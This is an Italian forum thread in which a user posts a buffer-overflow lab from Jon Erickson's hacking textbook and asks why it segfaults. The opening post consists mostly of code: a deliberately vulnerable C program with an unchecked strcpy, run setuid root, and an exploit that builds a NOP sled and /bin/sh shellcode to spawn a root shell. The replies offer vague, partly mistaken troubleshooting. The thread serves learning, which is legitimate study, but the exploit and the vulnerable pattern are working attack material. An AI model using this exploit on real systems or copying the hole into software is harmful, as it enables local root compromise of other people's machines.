Visualizzazione dei risultati da 1 a 6 su 6
  1. #1
    Utente di HTML.it
    Registrato dal
    Sep 2001
    Messaggi
    62

    [C] esempio buffer overflow linux non mi riesce!

    Salve a tutti!

    Ho provato ad eseguire un'esempio di buffer overflow preso dal libro "L'arte dell'hacking" di Jon Erickson.
    L'esempio consta di due eseguibili: "vuln.c" e "exploit.c", il primo con un bug di buffer overflow e il secondo che tenta di iniettargli uno shellcode con lo scopo di attivare una shell di root.

    Dopo aver settato il suid a root per vuln ho provato ad eseguire exploit, ma mi restituisce sempre segmentation fault.
    Ecco i due listati:

    //vuln.c
    int main(int argc, char *argv[])
    {
    char buffer[500];

    strcpy(buffer, argv[1]);

    return 0;
    }
    //////////////////////////////

    //exploit.c
    #include <stdlib.h>

    char shellcode[] =
    "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\ x5b\x31\xc0"
    "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\ x4b\x08\x8d"
    "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\ x6e\x2f\x73"
    "\x68";

    unsigned long sp(void)
    {
    __asm__("movl %esp, %eax");
    }

    int main(int argc, char *argv[])
    {
    int i, offset;
    long esp, ret, *addr_ptr;
    char *buffer, *ptr;

    offset = 0;
    esp = sp();

    ret = esp - offset;

    printf("Stack pointer (ESP) : 0x%x\n", esp);
    printf(" Offset from ESP : 0x%x\n", offset);
    printf("Desired Return Addr : 0x%x\n", ret);
    printf("0x%x\n", &buffer);

    buffer = malloc(800);

    ptr = buffer;
    addr_ptr = (long *)ptr;
    for (i = 0; i < 800; i += 4)
    {
    *(addr_ptr++) = ret;
    }

    for (i = 0; i < 200; i++)
    {
    buffer[i] = '\x90';
    }

    ptr = buffer + 200;
    for (i = 0; i < strlen(shellcode); i++)
    {
    *(ptr++) = shellcode[i];
    }

    buffer[600 - 1] = 0;
    execl("./vuln", "vuln", buffer, 0);

    free(buffer);

    return 0;
    }

    Qualcuno può provarli e farmi sapere se gli funzionano?
    Grazie.
    I worry about my child and the Internet all the time, even though she's too young to have logged on yet.
    Here's what I worry about. I worry that 10 or 15 years from now, she will come to me and say 'Daddy, where
    were you when they took freedom of the press away from the Internet?'"
    --Mike Godwin, Electronic Frontier Foundation
    www.alflug.it

  2. #2
    Utente di HTML.it
    Registrato dal
    Sep 2001
    Messaggi
    62
    Dimenticavo: uso SUSE 9.2 con gcc versione 3.3.4.
    I worry about my child and the Internet all the time, even though she's too young to have logged on yet.
    Here's what I worry about. I worry that 10 or 15 years from now, she will come to me and say 'Daddy, where
    were you when they took freedom of the press away from the Internet?'"
    --Mike Godwin, Electronic Frontier Foundation
    www.alflug.it

  3. #3
    Sinceramente non me ne intendo molto di sicurezza e di buffer overflow... cmq siccome la protezione della memoria in linux è molto aggressiva non vorrei mai che l'overflow (e quindi la scrittura di celle di memoria adiacenti a quelle 500 dichiarate) facesse andare in segmentation fault il tuo programma... io riproverei lo stesso codice sotto winzoz(magari il 98)... fammi sapere... ciao!
    Powered by MacOSX Lion

  4. #4
    scusa non avevo letto con attenzione... tu devi attivare una shell di root quindi hai bisogno di testare su linux...
    Powered by MacOSX Lion

  5. #5
    Utente di HTML.it L'avatar di /dev/null
    Registrato dal
    May 2004
    Messaggi
    1,936
    Penso anch'io com'ha detto Tigre851: dopo i 500 bytes di buffer e' possibile che il processo non disponga di abbastanza spazio per contenere il codice malevolo...
    Prova ad allongare vuln.c aggiungendo altre variabile ed altre istruzioni inutuili col solo scopo di far aumentare le pagine di memoria usate da vuln...

    Non ne so molto sul buffer overflow... Comunque se t'interessa dai un'occhiata a questa guida: http://www.lulli.net/WEB/hack/xximparare-c/node514.html
    Tempo fa testai l'esempio e funziono'

    Ultima modifica ad opera dell'utente /dev/null il 01-01-0001 alle 00:00

  6. #6
    Utente di HTML.it
    Registrato dal
    Sep 2001
    Messaggi
    62
    Grazie per l'attenzione!

    Vi farò sapere.
    I worry about my child and the Internet all the time, even though she's too young to have logged on yet.
    Here's what I worry about. I worry that 10 or 15 years from now, she will come to me and say 'Daddy, where
    were you when they took freedom of the press away from the Internet?'"
    --Mike Godwin, Electronic Frontier Foundation
    www.alflug.it

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.